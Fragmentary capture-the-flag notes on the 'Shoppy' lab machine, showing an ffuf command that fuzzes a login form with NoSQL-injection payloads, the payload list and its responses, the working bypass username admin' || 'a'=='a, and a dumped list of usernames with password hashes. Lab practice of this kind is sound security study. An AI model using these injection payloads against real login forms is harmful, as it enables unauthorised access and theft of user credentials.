Shoppy

gobuster

dirb

admin redirects to login if not authenticated

Changelog 5c489ae Prepare for 1.5.0 release (#23) 1db80d4 Do autocalibration for full path (#22) 21a19a1 Choose between 'and' and 'or' matching and filtering (#20) 9fa0a5d Ac rewrite

https://github.com/ffuf/ffuf/releases/tag/v1.5.0

./ffuf -u http://shoppy.htb/login -c -w /usr/share/seclists/Fuzzing/Databases/NoSQL.txt -X POST -d 'username=adminFUZZ&password=admin' -H 'Content-Type: application/x-www-form-urlencoded'

{$nin: [""]}} [Status: 302, Size: 51, Words: 4, Lines: 1, Duration: 66ms]
{ $ne: 1 } [Status: 302, Size: 51, Words: 4, Lines: 1, Duration: 84ms]
db.injection.insert({success:1}); [Status: 302, Size: 51, Words: 4, Lines: 1, Duration: 151ms]
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 [Status: 302, Size: 51, Words: 4, Lines: 1, Duration: 173ms]
{"$gt": ""} [Status: 302, Size: 51, Words: 4, Lines: 1, Duration: 175ms]
|| 1==1 [Status: 302, Size: 51, Words: 4, Lines: 1, Duration: 195ms]
' || 'a'=='a [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 254ms]

username

admin' || 'a'=='a

any value password

tried same thing here

[{"_id":"62db0e93d6d6a999a66ee67a","username":"admin","password":"23c6877d9e2b564ef8b32c3a23de27b2"},{"_id":"62db0e93d6d6a999a66ee67b","username":"josh","password":"6ebcea65320589ca4f2f1ce039975995"}]